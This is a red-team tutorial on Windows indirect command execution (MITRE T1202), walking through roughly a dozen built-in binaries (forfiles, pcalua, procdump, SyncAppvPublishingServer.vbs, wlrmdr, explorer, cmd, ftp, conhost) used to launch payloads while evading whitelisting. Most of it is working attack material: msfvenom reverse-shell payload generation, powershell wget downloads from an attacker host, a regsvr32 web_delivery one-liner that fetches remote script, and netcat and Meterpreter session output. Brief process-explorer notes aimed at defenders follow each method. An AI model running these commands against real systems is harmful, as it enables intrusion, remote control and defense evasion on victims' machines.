

# Indirect Command Execution: Defense Evasion (T1202)

March 17, 2022 By Raj Chandel

## Introduction

Indirect Command Execution is a defense evasion technique that is often used by Red Teams in which an adversary tries to bypass certain defense filters put in place which may restrict certain types of scripts/executables from running. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, if a firewall is restricting DLL execution, it can be bypassed using a procdump method or if there is a whitelist on certain executables containing pcalua.exe, it can be used to execute other executables. Some of these methods are discussed in this article.

**MITRE TACTIC: Defense Evasion (TA0005)**

**MITRE TECHNIQUE ID: T1202 (Indirect Command Execution)**

## Table of content

- **Malicious EXE creation**
- **Method 1 – forfiles.exe**
- **Method 2 – pcalua.exe**
- **Method 3 – procdump.exe (DLL method)**
- **Method 4 – SyncAppvPublishingServer.vbs**
- **Method 5 – wlrmdr.exe**
- **Method 6 – explorer.exe**
- **Method 7 – cmd.exe**
- **Method 8 – ftp.exe**
- **Method 9 – conhost.exe**
- **Method 10 – WSL Only (bash.exe)**
- **Method 11 – WSL Only (wsl.exe)**
- **Conclusion**

## Malicious EXE Creation

First, we need to create an executable that will be executed. This is a simple simulation of what might happen in a real-time Red Team scenario. We'll use msfvenom to create a simple reverse shell. After that, we need to upload this exe into the victim machine using a python server.

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.89 LPORT=4444 -f exe > shell.exe  
python3 -m http.server 80
```

```
(root@kali)~[~]
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.89 LPORT=4444 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
```

```
(root@kali)~[~]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Now, we can upload this executable to the already compromised victim device using powershell wget

```
powershell wget 192.168.0.89/shell.exe -O C:\Users\Public\shell.exe
```

```
(root@kali)~[~]
# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49847
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>powershell wget 192.168.0.89/shell.exe -O C:\Users\Public\shell.exe
powershell wget 192.168.0.89/shell.exe -O C:\Users\Public\shell.exe

C:\Users\Public>
```

Now, the file is uploaded in the **C:\Users\Public** directory for further use.

## Method 1 – forfiles

According to Microsoft, “Selects and runs a command on a file or set of files. This command is most commonly used in batch files.” Here, /p specifies the path where forfiles will search for the search mask defined by /m flag (here, calc.exe). However, anything after the /c flag is the actual command. Hence, forfiles will now run our custom-made shell.

```
forfiles /p c:\windows\system32 /m calc.exe /c C:\Users\Public\shell.exe
```

```
C:\Users\Public>forfiles /p c:\windows\system32 /m calc.exe /c C:\Users\Public\shell.exe
forfiles /p c:\windows\system32 /m calc.exe /c C:\Users\Public\shell.exe
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49897
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
whoami
workstation01\hex

C:\Users\Public>
```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, forfiles.exe is running a suspicious file “shell.exe”

Process Explorer - Sysinternals: www.sysinternals.com [WORKSTATION01\hex]

File Options View Process Find Users Help

Process	CPU	Private Bytes	Working Set	PID	Description
System Idle Process	72.35	0 K	4 K	0	
System	< 0.01	120 K	116 K	4	
csrss.exe	< 0.01	1,220 K	3,908 K	372	
wininit.exe		1,092 K	4,716 K	440	
csrss.exe	< 0.01	1,388 K	6,888 K	452	
winlogon.exe		2,132 K	9,168 K	532	
explorer.exe	< 0.01	52,024 K	98,420 K	3812	Windows Explorer
vmtoolsd.exe	< 0.01	12,820 K	32,536 K	4800	VMware Tools
OneDrive.exe		19,152 K	60,180 K	4808	Microsoft OneDrive
procexp64.exe	< 0.01	20,036 K	39,820 K	4016	Sysinternals Process Explorer
cmd.exe		1,692 K	3,308 K	5100	Windows Command Prompt
conhost.exe		10,636 K	14,840 K	2488	Console Window Host
nc64.exe	< 0.01	884 K	4,056 K	3872	
cmd.exe		1,560 K	2,792 K	3844	Windows Command Prompt
forfiles.exe		668 K	3,664 K	2124	ForFiles - Explorer
shell.exe		644 K	3,408 K	804	ApacheBench
cmd.exe		1,860 K	3,464 K	4232	Windows Command Prompt
conhost.exe		10,536 K	11,428 K	2980	Console Window Host
csrss.exe	< 0.01	1,272 K	3,716 K	2800	
winlogon.exe		1,660 K	6,208 K	2016	
LogonUI.exe		24,912 K	68,332 K	5172	
dwm.exe		29,272 K	39,076 K	5216	

## Method 2 – pcalua.exe

The Program Compatibility Assistant is an automatic feature of Windows that runs when it detects an older program has a compatibility problem. Because of the utility of this executable, this is more often whitelisted in

the systems. This can also run custom exe in compatibility mode. We can run our executable using the program with “-a” flag like:

```
pcalua.exe -a C:\Users\Public\shell.exe
```

```
C:\Users\Public>pcalua.exe -a C:\Users\Public\shell.exe
pcalua.exe -a C:\Users\Public\shell.exe
C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49897
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
whoami
workstation01\hex
C:\Users\Public>
```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, shell.exe has spawned as a standalone process.

Process Explorer - Sysinternals: www.sysinternals.com [WORKSTATION01\hex]

File Options View Process Find Users Help

Process	CPU	Private B...	Worki...	PID	Description	Company Name
System Idle Process	57.68	0 K	4 K	0		
System	< 0.01	120 K	116 K	4		
csrss.exe		1,220 K	3,888 K	372		
wininit.exe		1,092 K	4,716 K	440		
csrss.exe	0.77	1,384 K	6,656 K	452		
winlogon.exe		2,132 K	9,168 K	532		
explorer.exe	< 0.01	46,864 K	95,180 K	3812	Windows Explorer	Microsoft Corporation
csrss.exe	< 0.01	1,164 K	3,684 K	2800		
winlogon.exe		1,508 K	6,180 K	2016		
LogonUI.exe		17,372 K	60,888 K	5172		
dwm.exe		29,216 K	39,048 K	5216		
shell.exe		708 K	3,680 K	3992	ApacheBench command line ...	Apache Software Foundati...
cmd.exe		1,900 K	3,684 K	4532	Windows Command Process...	Microsoft Corporation
conhost.exe		10,412 K	11,100 K	5072	Console Window Host	Microsoft Corporation

## Method 3 – procdump.exe (DLL method)

ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike. This binary, developed by sysinternals team, can also be used to execute a DLL file by utilizing the 'MiniDumpCallbackRoutine' exported function. A valid ongoing process has to be provided as the memory dump of that process will be created while loading this DLL onto it.

First, we need to create our DLL payload using msfvenom

```
msfvenom -p windows/shell_reverse_tcp -f dll LHOST=192.168.0.89 LPORT=4444 > shell.dll
```

```
(root@kali)-[~]
# msfvenom -p windows/shell_reverse_tcp -f dll LHOST=192.168.0.89 LPORT=4444 > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 8704 bytes

(root@kali)-[~]
# python3 -m http.server 80
```

Once, the DLL has been uploaded onto the victim system, using python server and powershell wget utility, procdump can be run with the “-md” option

```
C:\Sysinternals\procdump.exe -md shell.dll explorer.exe
```

```
C:\Users\Public>powershell wget 192.168.0.89/shell.dll -O shell.dll
powershell wget 192.168.0.89/shell.dll -O shell.dll

C:\Users\Public>C:\Sysinternals\procdump.exe -md shell.dll explorer.exe
C:\Sysinternals\procdump.exe -md shell.dll explorer.exe
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49878
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
whoami
workstation01\hex

C:\Users\Public>
```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, our DLL has been executed using rundll as a child process of procdump.

Process	CPU	Private B...	Worki...	PID	Description	Company Name
System Idle Process	94.33	0 K	4 K	0		
System	< 0.01	124 K	144 K	4		
csrss.exe		1,220 K	3,904 K	372		
csrss.exe	< 0.01	1,296 K	8,380 K	448		
winlogon.exe		2,128 K	9,424 K	488		
dwm.exe	1.53	54,992 K	103,32...	816		
wininit.exe		1,012 K	4,700 K	520		
explorer.exe	< 0.01	61,972 K	107,00...	2164	Windows Explorer	Microsoft Corporation
vmtoolsd.exe	< 0.01	12,412 K	30,104 K	2152	VMware Tools Core Service	VMware, Inc.
OneDrive.exe		20,872 K	61,640 K	800	Microsoft OneDrive	Microsoft Corporation
procexp64.exe	< 0.01	18,460 K	33,052 K	2236	Sysinternals Process Explorer	Sysinternals - www.sysinter...
cmd.exe		1,552 K	2,856 K	2376	Windows Command Process...	Microsoft Corporation
conhost.exe		10,624 K	14,860 K	4384	Console Window Host	Microsoft Corporation
nc64.exe	< 0.01	836 K	3,972 K	4956		
cmd.exe		1,564 K	2,832 K	68	Windows Command Process...	Microsoft Corporation
procdump.exe		1,296 K	5,884 K	1852	Sysinternals process dump ut...	Sysinternals - www.sysinter...
rundll32.exe		4,364 K	5,900 K	2768	Windows host process (Rund...	Microsoft Corporation
cmd.exe		1,868 K	3,480 K	4264	Windows Command Process...	Microsoft Corporation
conhost.exe		11,056 K	12,060 K	2212	Console Window Host	Microsoft Corporation
cmd.exe		1,684 K	3,100 K	1952	Windows Command Process...	Microsoft Corporation
conhost.exe		10,652 K	14,984 K	2308	Console Window Host	Microsoft Corporation
csrss.exe	< 0.01	1,284 K	3,784 K	808		
winlogon.exe		1,744 K	6,264 K	3432		
LogonUI.exe		24,160 K	65,340 K	4528		
dwm.exe		29,236 K	38,952 K	1868		

## Method 4 – SyncAppvPublishingServer.vbs

SyncAppvPublishingServer.vbs is a script available in newer versions on Windows 10 and 11 only. This is developed by Microsoft and can be used for MS Application Virtualization. It can also be indirectly used for executing EXE. This is achieved by .NET cmdlet known as “Start-Process”

```
SyncAppvPublishingServer.vbs "n; Start-Process C:\Users\Public\shell.exe"
```

```
C:\Users\Public>SyncAppvPublishingServer.vbs "n; Start-Process C:\Users\Public\shell.exe"
SyncAppvPublishingServer.vbs "n; Start-Process C:\Users\Public\shell.exe"
C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!



```

(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.119] 1112
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
whoami
desktop-9gsgko9\hex

C:\Users\Public>

```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, a conhost has been spawned inside a powershell process.

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
Registry		1,860 K	65,736 K	88		
System Idle Process	6.82	56 K	8 K	0		
System	0.76	192 K	152 K	4		
Interrupts	0.76	0 K	0 K	n/a	Hardware Interrupts and DPCs	
smss.exe		504 K	1,204 K	324		
Memory Compression	0.76	188 K	23,068 K	1484		
csrss.exe		1,668 K	5,200 K	428		
csrss.exe	< 0.01	1,696 K	5,272 K	508		
wininit.exe		1,356 K	6,952 K	528		
winlogon.exe		2,624 K	12,212 K	584		
fontdrvhost.exe		3,140 K	6,948 K	812		
dwm.exe	< 0.01	71,704 K	120,824 K	60		
explorer.exe	0.76	79,020 K	143,692 K	4864	Windows Explorer	Microsoft Corporation
vmtoolsd.exe	< 0.01	23,708 K	42,776 K	6252	VMware Tools Core Service	VMware, Inc.
cmd.exe		3,780 K	4,412 K	6412	Windows Command Processor	Microsoft Corporation
conhost.exe		7,244 K	18,260 K	5080	Console Window Host	Microsoft Corporation
nc64.exe	< 0.01	940 K	4,772 K	1116		
cmd.exe		8,696 K	13,664 K	2788	Windows Command Processor	Microsoft Corporation
procexp64.exe	3.03	21,156 K	41,792 K	108	Sysinternals Process Explorer	Sysinternals - www.sysinter...
csrss.exe	< 0.01	1,544 K	4,736 K	4068		
winlogon.exe		2,252 K	8,904 K	4848		
LogonUI.exe		19,684 K	58,920 K	1584		
dwm.exe	< 0.01	35,932 K	50,772 K	4780		
fontdrvhost.exe		1,364 K	3,780 K	4708		
powershell.exe	78.01	62,224 K	73,124 K	4972	Windows PowerShell	Microsoft Corporation
conhost.exe	< 0.01	3,504 K	13,176 K	2008	Console Window Host	Microsoft Corporation

Since just passing in the exe's path can make the VBS script execute it, we can also use the regsrv32 method in Metasploit.

```

use multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.89
set lport 1337
set target 3
run

```

```

msf6 > use multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.0.89
lhost => 192.168.0.89
msf6 exploit(multi/script/web_delivery) > set lport 1337
lport => 1337
msf6 exploit(multi/script/web_delivery) > set target 3
target => 3
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.0.89:1337
[*] Using URL: http://0.0.0.0:8080/qYRagZv3qAaNC
[*] Local IP: http://192.168.0.89:8080/qYRagZv3qAaNC
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.0.89:8080/qYRagZv3qAaNC.sct scrobj.dll
msf6 exploit(multi/script/web_delivery) >

```

Now, we can inject this command into the SyncAppvPublishingServer.vbs script by giving a break clause and then the one liner.

```

SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.0.89:8080/qYRagZv3qAaNC.sct scrobj.dll"

```

```

C:\Users\Public>SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.0.89:8080/F3w2e8tlutj.sct scrobj.dll"
SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.0.89:8080/F3w2e8tlutj.sct scrobj.dll"
C:\Users\Public>

```

On our Metasploit console, we receive a reverse shell!

```

msf6 exploit(multi/script/web_delivery) > [*] 192.168.0.119 web_delivery - Handling .sct Request
[*] 192.168.0.119 web_delivery - Delivering Payload (3733 bytes)
[*] Sending stage (200262 bytes) to 192.168.0.119
[*] Meterpreter session 1 opened (192.168.0.89:1337 → 192.168.0.119:1099) at 2022-03-17 02:48:56 -0400
[*] 192.168.0.119 web_delivery - Handling .sct Request
[*] 192.168.0.119 web_delivery - Delivering Payload (3727 bytes)
[*] Sending stage (200262 bytes) to 192.168.0.119
[*] Meterpreter session 2 opened (192.168.0.89:1337 → 192.168.0.119:1102) at 2022-03-17 02:49:41 -0400
msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
=====

```

Id	Name	Type	Information	Connection
1		meterpreter	x64/windows DESKTOP-9GSGK09\hex @ DESKTOP-9GSGK09	192.168.0.89:1337 → 192.168.0.119:1099
2		meterpreter	x64/windows DESKTOP-9GSGK09\hex @ DESKTOP-9GSGK09	192.168.0.89:1337 → 192.168.0.119:1102

```

msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...

```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, a conhost has been spawned inside a powershell process.



File Options View Process Find Users Help						
<Filter by name>						
Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
Registry		760 K	77,044 K	88		
System Idle Process	< 0.01	56 K	8 K	0		
System	< 0.01	192 K	156 K	4		
csrss.exe		1,684 K	5,252 K	424		
wininit.exe		1,600 K	6,948 K	500		
csrss.exe	1.90	1,760 K	5,196 K	548		
winlogon.exe		2,944 K	12,168 K	600		
explorer.exe	53.17	105,172 K	154,492 K	5188	Windows Explorer	Microsoft Corporation
SecurityHealthSystray.exe	< 0.01	1,816 K	9,116 K	6328	Windows Security notification ...	Microsoft Corporation
vmtoolsd.exe	< 0.01	24,640 K	43,396 K	6384	VMware Tools Core Service	VMware, Inc.
procexp64.exe	7.60	22,892 K	39,384 K	6724	Sysinternals Process Explorer	Sysinternals - www.sysinter...
cmd.exe		2,740 K	3,884 K	4136	Windows Command Process...	Microsoft Corporation
conhost.exe	< 0.01	7,196 K	19,352 K	4192	Console Window Host	Microsoft Corporation
nc64.exe	0.63	900 K	3,788 K	6860		
cmd.exe		5,604 K	18,844 K	6980	Windows Command Process...	Microsoft Corporation
powershell.exe	< 0.01	57,776 K	71,220 K	4120	Windows PowerShell	Microsoft Corporation
conhost.exe	< 0.01	4,604 K	14,232 K	6604	Console Window Host	Microsoft Corporation
powershell.exe	< 0.01	63,408 K	76,556 K	4112	Windows PowerShell	Microsoft Corporation
conhost.exe	< 0.01	4,580 K	14,228 K	2032	Console Window Host	Microsoft Corporation
csrss.exe	< 0.01	1,784 K	4,808 K	6588		
winlogon.exe		2,888 K	11,248 K	5828		
fontdrvhost.exe		1,420 K	3,796 K	3208		
LoginUI.exe		25,916 K	64,900 K	2576		
dwm.exe	< 0.01	36,028 K	50,732 K	5080		

## Method 5 – wlrmdr.exe

Windows Logon Reminder (wlrmdr.exe) is an executable file available by default in Microsoft which often throws up balloon reminders saying that Windows needs to lock and unlock the device in order to update windows login credentials. Here, this tool is taking a bunch of flags for input.

-s : Time to show notification in milliseconds. Use 0 to display the notification without a timeout.

-f <x> One or more of the following values that indicate an icon to display in the notification.

0x00000000 = Do not display an icon.

0x00000001 = Display an information icon.

0x00000002 = Display a warning icon.

0x00000003 = Display an error icon.

0x00000004 = Icon of keys.

0x00000010 = Do not play the associated sound.

x is decimal. To display an information icon without sound = 0x01 + 0x10 = 0x11 = 17 decimal

-t: Text first Line

-m: Text second Line

-u: Executable to run

```
wlrmldr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u C:\Users\Public\shell.exe
```

```
(root@kali)-[~]  
# nc -nlvp 1234  
listening on [any] 1234 ...  
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49789  
Microsoft Windows [Version 10.0.10586]  
(c) 2015 Microsoft Corporation. All rights reserved.  
  
C:\Users\Public>wlrmldr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u C:\Users\Public\shell.exe  
wlrmldr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u C:\Users\Public\shell.exe  
C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, shell.exe as a standalone has been spawned.

Process	CPU	Private Bytes	Working Set	PID	Description
Registry		11,068 K	88,728 K	124	
System Idle Process	88.98	60 K	8 K	0	
System	0.35	208 K	4,272 K	4	
csrss.exe		1,952 K	4,860 K	812	
wininit.exe		1,424 K	5,536 K	856	
csrss.exe	0.17	4,832 K	5,308 K	980	
winlogon.exe		2,960 K	11,808 K	688	
fontdrvhost.exe		6,300 K	10,312 K	1196	
dwm.exe	1.74	79,556 K	64,136 K	1400	
explorer.exe	1.57	80,728 K	1,48,084 K	2884	Windows Explorer
SecurityHealthSystray.exe		2,044 K	9,180 K	5392	Windows Security notification ...
vmware.exe	< 0.01	65,076 K	79,472 K	11092	VMware Workstation
vgtray.exe	< 0.01	2,244 K	9,556 K	6816	Vanguard tray notification.
notepad.exe		3,040 K	17,808 K	9616	Notepad
chrome.exe	0.17	1,38,924 K	2,03,284 K	6228	Google Chrome
flameshot.exe	< 0.01	27,560 K	61,464 K	9796	Flameshot
cmd.exe		2,472 K	4,548 K	1372	Windows Command Process...
conhost.exe		7,456 K	19,352 K	6488	Console Window Host
WinRAR.exe	< 0.01	9,808 K	34,920 K	3344	WinRAR archiver
proceXP64.exe	1.39	35,240 K	54,164 K	12676	Sysinternals Process Explorer
RadeonSoftware.exe	< 0.01	1,77,012 K	38,724 K	3964	Radeon Software: Host Appli...
AMDRSServ.exe		6,120 K	89,652 K	9328	Radeon Settings: Host Service
shell.exe		1,008 K	4,408 K	11344	ApacheBench command line ...
cmd.exe		4,500 K	4,984 K	1344	Windows Command Process...
conhost.exe		6,736 K	12,984 K	6576	Console Window Host

## Method 6 – explorer.exe

Explorer.exe is the executable run when a user opens the file manager. The path bar where the current working directory is mentioned also serves as a run prompt kind of a thing where if you input name of a binary it spawns (like cmd.exe). Moreover, the binary is spawned as a child process of explorer.exe. This can be achieved via the command line too.

```
explorer.exe /root,"C:\Users\Public\shell.exe"
```

```
C:\Users\Public>explorer.exe /root,"C:\Users\Public\shell.exe"
explorer.exe /root,"C:\Users\Public\shell.exe"
C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49916
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
whoami
workstation01\hex

C:\Users\Public>
```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, cmd.exe has been spawned which in turn runs our shell.exe

Process Explorer - Sysinternals: [www.sysinternals.com](http://www.sysinternals.com) [WORKSTATION01\hex]

File Options View Process Find Users Help

Process	CPU	Private B...	Worki...	PID	Description	Company Name
System Idle Process	95.10	0 K	4 K	0		
System	< 0.01	192 K	32,268 K	4		
csrss.exe		1,216 K	3,632 K	372		
wininit.exe		1,092 K	4,440 K	440		
csrss.exe	< 0.01	1,384 K	6,484 K	452		
winlogon.exe		2,056 K	8,832 K	532		
explorer.exe	< 0.01	46,008 K	86,512 K	3812	Windows Explorer	Microsoft Corporation
vmtoolsd.exe	< 0.01	12,788 K	25,432 K	4800	VMware Tools Core Service	VMware, Inc.
OneDrive.exe		18,780 K	52,784 K	4808	Microsoft OneDrive	Microsoft Corporation
procexp64.exe	0.78	19,972 K	32,304 K	4016	Sysinternals Process Explorer	Sysinternals - www.sysinter...
cmd.exe		1,692 K	2,892 K	5100	Windows Command Process...	Microsoft Corporation
cmd.exe		1,544 K	2,732 K	1532	Windows Command Process...	Microsoft Corporation
conhost.exe		10,808 K	17,716 K	4768	Console Window Host	Microsoft Corporation
csrss.exe		1,164 K	3,684 K	2800		
winlogon.exe		1,508 K	6,188 K	2016		
LogonUI.exe		17,292 K	60,844 K	5172		
dwm.exe		29,216 K	39,064 K	5216		
shell.exe		648 K	3,408 K	4176	ApacheBench command line ...	Apache Software Foundati...

## Method 7 – cmd.exe

Cmd.exe is the command prompt (terminal) of Windows and is capable of executing binaries using the /c flag. One can indirectly execute a malicious file using cmd.exe like so:

```
cmd.exe /c C:\Users\Public\shell.exe
```

Moreover, an attacker may also benefit from the lesser-known path traversal execution method. This lets an attacker traverse back to explorer.exe and use that to initiate the process for “shell.exe.” This complicates the analysis part for a blue teamer and is considered better than the previous method.

```
cmd.exe /c "ignite.local ../../../../../../../../../../../../../../windows/explorer.exe"  
/root,C:\Users\Public\shell.exe
```

```
C:\Users\Public>cmd.exe /c "ignite.local ../../../../../../../../../../windows/explorer.exe" /root,C:\Users\Public\shell.exe  
cmd.exe /c "ignite.local ../../../../../../../../../../windows/explorer.exe" /root,C:\Users\Public\shell.exe  
C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]  
# nc -nlvp 4444  
listening on [any] 4444 ...  
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49937  
Microsoft Windows [Version 10.0.10586]  
(c) 2015 Microsoft Corporation. All rights reserved.  
  
C:\Windows\system32>whoami  
whoami  
workstation01\hex  
  
C:\Windows\system32>
```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, a conhost (masking our shell) has been spawned as a child process under explorer.exe process and is stealthier.

Process Explorer - Sysinternals: www.sysinternals.com [WORKSTATION01\hex]

Process	CPU	Private B...	Worki...	PID	Description	Company Name
System Idle Process	97.87	0 K	4 K	0		
System	< 0.01	192 K	26,920 K	4		
Interrupts	< 0.01	0 K	0 K	n/a	Hardware Interrupts and DPCs	
smss.exe		352 K	1,064 K	268		
csrss.exe	< 0.01	1,164 K	3,632 K	372		
wininit.exe		860 K	4,396 K	440		
csrss.exe	< 0.01	1,372 K	6,720 K	452		
winlogon.exe		1,820 K	8,784 K	532		
dwm.exe	< 0.01	62,544 K	108,23...	812		
explorer.exe	< 0.01	44,712 K	88,116 K	3812	Windows Explorer	Microsoft Corporation
vmtoolsd.exe	< 0.01	12,788 K	25,612 K	4800	VMware Tools Core Service	VMware, Inc.
OneDrive.exe		18,868 K	53,192 K	4808	Microsoft OneDrive	Microsoft Corporation
procexp64.exe	0.77	19,000 K	37,252 K	1724	Sysinternals Process Explorer	Sysinternals - www.sysinter...
conhost.exe		10,548 K	14,256 K	2488	Console Window Host	Microsoft Corporation
nc64.exe	< 0.01	828 K	3,768 K	3872		
csrss.exe		1,112 K	3,672 K	2800		
winlogon.exe		1,432 K	6,172 K	2016		

## Method 8 – ftp.exe

Newer versions of Windows 10 and 11 come with a ftp.exe binary already included with the default installation. Moreover, it is available in the system PATH variable and can be executed from any working directory.



Thereafter, we can load the command we want to run in a text file called “script.txt” and execute it using the ftp -s option which executes text files as a script. Hence, we include the explorer.exe command in this script and execute it using ftp.

```
echo !explorer.exe /root,"C:\Users\Public\shell.exe" > script.txt && ftp -s:script.txt
```

```
C:\Users\Public>echo !explorer.exe /root,"C:\Users\Public\shell.exe" > script.txt && ftp -s:script.txt  
echo !explorer.exe /root,"C:\Users\Public\shell.exe" > script.txt && ftp -s:script.txt  
!explorer.exe /root,"C:\Users\Public\shell.exe"
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]  
# nc -nlvp 4444  
listening on [any] 4444 ...  
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49908  
Microsoft Windows [Version 10.0.10586]  
(c) 2015 Microsoft Corporation. All rights reserved.  
  
C:\Windows\system32>whoami  
whoami  
workstation01\hex  
  
C:\Windows\system32>
```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, an ftp instance is running with no notable indication of our shell.exe in processes making it stealthier.

Process	CPU	Private B...	Worki...	PID	Description
System Idle Process	35.92	0 K	4 K	0	
System	1.28	128 K	1,820 K	4	
csrss.exe		1,196 K	3,876 K	380	
wininit.exe		996 K	4,576 K	472	
csrss.exe	1.28	1,480 K	7,280 K	4596	
winlogon.exe		2,068 K	9,128 K	1912	
dwm.exe	0.64	71,432 K	113,68...	4680	
explorer.exe	0.64	54,492 K	96,328 K	6224	Windows Explorer
vmtoolsd.exe	< 0.01	15,076 K	31,616 K	952	VMware Tools Core Service
OneDrive.exe		21,076 K	62,116 K	2720	Microsoft OneDrive
cmd.exe		1,568 K	2,856 K	5300	Windows Command Process...
conhost.exe		10,596 K	14,636 K	2388	Console Window Host
nc64.exe	< 0.01	896 K	4,016 K	3644	
cmd.exe		1,540 K	2,744 K	2892	Windows Command Process...
ftp.exe		868 K	4,140 K	5440	File Transfer Program
cmd.exe		1,704 K	3,312 K	3336	Windows Command Process...
notepad.exe		1,920 K	14,460 K	2016	Notepad
procexp64.exe	7.05	20,520 K	38,428 K	884	Sysinternals Process Explorer

## Method 9 – conhost.exe

Conhost.exe stands for Console Host which was introduced with Windows 7. It is sort of a bridge between old school CRSS and cmd.exe. More information can be found here. In simpler terms it helps Command Prompt to interact with Windows explorer and provides functionality like drag and drop text from explorer to cmd.exe.

Conhost can also be used to launch arbitrary executables. Depending on which Windows version you are using the results may vary but as per Build 1809, I found it to be working.

```
conhost "ignite.local C:\Users\Public\shell.exe"
```

```
C:\Users\Public>conhost "ignite.local C:\Users\Public\shell.exe"
conhost "ignite.local C:\Users\Public\shell.exe"
C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49937
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
workstation01\hex

C:\Windows\system32>
```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, a conhost instance has been launched within a cmd.exe process. It is stealthy as compared to other methods as shell.exe isn't seen in the process explorer.

Process Explorer - Sysinternals: www.sysinternals.com [WORKSTATION01\hex]

File Options View Process Find Users Help

Process	CPU	Private B...	Worki...	PID	Description
System Idle Process	96.87	0 K	4 K	0	
System	< 0.01	120 K	144 K	4	
csrss.exe		1,208 K	3,864 K	380	
csrss.exe	< 0.01	1,524 K	7,268 K	452	
wininit.exe		1,064 K	4,652 K	472	
winlogon.exe		1,848 K	8,956 K	508	
dwm.exe	< 0.01	62,376 K	105,06...	816	
explorer.exe	< 0.01	39,508 K	86,504 K	3280	Windows Explorer
